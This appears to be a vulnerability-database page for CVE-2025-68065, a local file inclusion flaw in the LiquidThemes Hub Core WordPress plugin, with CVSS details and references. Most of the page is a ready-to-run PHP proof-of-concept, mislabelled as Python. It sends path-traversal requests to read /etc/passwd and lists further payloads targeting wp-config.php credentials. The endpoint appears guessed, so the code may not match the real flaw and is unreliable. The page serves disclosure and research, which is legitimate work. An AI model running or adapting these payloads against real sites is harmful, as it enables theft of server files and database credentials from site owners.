CVE-2025-68065

Description

Improper Control of Filename for Include/Require Statement in PHP Program ('PHP Remote File Inclusion') vulnerability in LiquidThemes Hub Core allows PHP Local File Inclusion. This issue affects Hub Core: from n/a before 6.0.2.

CVSS Details

CVSS Score

7.5

Severity

HIGH

CVSS Vector

CVSS:3.1/AV:N/AC:H/PR:L/UI:N/S:U/C:H/I:H/A:H

Configurations (Affected Products)

No configuration data available.

Hub Core < 6.0.2

Hub Core: from n/a before 6.0.2

PoC / Exploit Code

⚠ For Security Research Only

The following code is for security research and authorized testing only.

python

<?php
// CVE-2025-68065 PoC - LiquidThemes Hub Core LFI
// This is for educational and security testing purposes only

$target = 'http://target-site.com/wp-content/plugins/hub-core/';
$endpoint = $target . 'includes/file.php';

// Basic LFI test - read /etc/passwd
$params = array(
    'file' => '../../../../../../etc/passwd'
);

echo "[*] CVE-2025-68065 PoC - LiquidThemes Hub Core LFI\n";
echo "[*] Target: $target\n\n";

// Construct the exploit URL with LFI payload
$exploit_url = $endpoint . '?' . http_build_query($params);
echo "[+] Exploit URL: $exploit_url\n";

// Send the request
$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, $exploit_url);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
curl_setopt($ch, CURLOPT_TIMEOUT, 30);

$response = curl_exec($ch);
$http_code = curl_getinfo($ch, CURLINFO_HTTP_CODE);
curl_close($ch);

echo "[+] HTTP Status: $http_code\n";
if ($response !== false) {
    echo "[+] Response:\n";
    echo $response;
} else {
    echo "[-] Request failed\n";
}

// Additional payloads for testing:
// Read wp-config.php: ?file=../../../../../../wp-config.php
// Read PHP source: ?file=../../../../var/www/html/wp-content/plugins/hub-core/includes/file.php
?>

References

[1] CVE.org https://www.cve.org/CVERecord?id=CVE-2025-68065
[2] NVD NIST https://nvd.nist.gov/vuln/detail/CVE-2025-68065
[3] CVE Details https://www.cvedetails.com/cve/CVE-2025-68065/
[4] VulDB https://vuldb.com/cve/CVE-2025-68065
[5] https://patchstack.com/database/wordpress/plugin/hub-core/vulnerability/wordpress-hub-core-plugin-5-0-8-local-file-inclusion-vulnerability?_s_id=cve

Raw JSON Data

JSON

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